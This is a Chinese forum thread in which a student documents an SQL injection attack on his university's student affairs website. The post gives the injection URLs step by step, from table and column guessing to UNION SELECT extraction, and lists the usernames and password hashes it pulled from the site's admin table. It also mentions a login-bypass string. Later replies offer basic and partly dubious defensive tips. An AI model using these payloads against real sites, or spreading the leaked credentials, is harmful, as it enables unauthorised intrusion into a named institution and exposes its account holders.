发新话题
打印

ASSESS注入—安全探测实践(我校学生工作处)

ASSESS注入—安全探测实践(我校学生工作处)

过去也为学生处写过网站。不过,这此探测的不是我的那个站。
谨以此,希望大家写好程序。

安全探测实践:(我校学生工作处)
1.http://xsc.swust.edu.cn/display.asp?Cid=231 and 1=1 and exists(select * from admin)
2.
admin
http://xsc.swust.edu.cn/display.asp?Cid=231 and 1=1 and exists(select admin from admin)
username
http://xsc.swust.edu.cn/display.asp?Cid=231 and 1=1 and exists(select username from admin)
password
http://xsc.swust.edu.cn/display.asp?Cid=231 and 1=1 and exists(select password from admin)
id
http://xsc.swust.edu.cn/display.asp?Cid=231 and 1=1 and exists(select id from admin)
可以看出来要实现跨库查询必修要下面2个条件:
    使用union查询必须知道前一个select里表的字段数 :我们知道了username,password,id三个字段
    必须知道目标:数据库名是admin
      
         

3.猜测字段数:http://xsc.swust.edu.cn/display.asp?Cid=231 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin
4.找到合适的查询输出位置:http://xsc.swust.edu.cn/display.asp?Cid=231 and 1=2 union select 1,2,3,username,5,6,7,password,9,10 from admin

5.从发表过文章的作者,试猜用户信息
http://xsc.swust.edu.cn/display.asp?Cid=231 and 1=2 union select 1,2,3,username,5,6,7,password,9,10 from admin where username='yqq'
yqq: 91f1f4d012de9d36
xlzx :a5fe981ae1482cc0
admin:a5fe981ae1482cc0
结果:密码均未能在www.cmd5.com网站上破解
6.ID猜解
http://xsc.swust.edu.cn/display.asp?Cid=231%20union%20select%201,2,3,username,5,6,7,password,9,10%20from%20admin%20where%20id=8
id=8  zhaozijian  :3c6622a420fea0df
id=9  zsjy        :a5fe981ae1482cc0
id=16 qgzx        :a5fe981ae1482cc0
id=17 xsgz        :a5fe981ae1482cc0
id=18 jygl        :a5fe981ae1482cc0
id=20 yqq         :91f1f4d012de9d36
结果:密码均未能在www.cmd5.com网站上破解
7,后台登陆
   是MD5加密了,或者过滤了。我没去详细看,因为并不想登录。 用 ' or ''='  是不行的,呵呵。
8。食堂吃饭。哦!想起这个,顿生了点恶念!不过,还是要忍起!!!!

TOP

回复: ASSESS注入—安全探测实践(我校学生工作处)

呵呵,小伙子不错嘛
不过其实做过网站的都知道,防止SQL注入是很简单的,不过很多做程序的并不是不知道SQL注入的危险,但一般客户不要求,也就不加防护措施.
防止sql注入,只要过滤掉url后面的sql关键字就可以了
asp+access的网络安全,结合自己的开发经验,作好以下五点就可以了
1.数据库改成data.asp ,可以用讯雷下载
2.继续改成#data##.asp,也可以用讯雷下载
3.过滤掉敏感SQL字符,判断后封掉用户ip
4.在数据库中加入防下载措施,一个表存二进制数据就行,这个是关键
5.管理员密码应该是字母,数字,其它字符的集合
..............
大概就这么多吧,小弟不才,望各位斧正

TOP

回复:ASSESS注入—安全探测实践(我校学生工作处)

注意查询错误不显示给用户,而将错误判断进行页面转向处理,这个实际不是太麻烦。猜解就很难了。
说来,使用MSSQL的储存过程,倒是比较安全。

TOP

回复:ASSESS注入—安全探测实践(我校学生工作处)

恩,这些基础的东西是我当初学的时候特别爱去看的。大家多学习

TOP

回复:ASSESS注入—安全探测实践(我校学生工作处)

努力哦~!~!~!~!

TOP

发新话题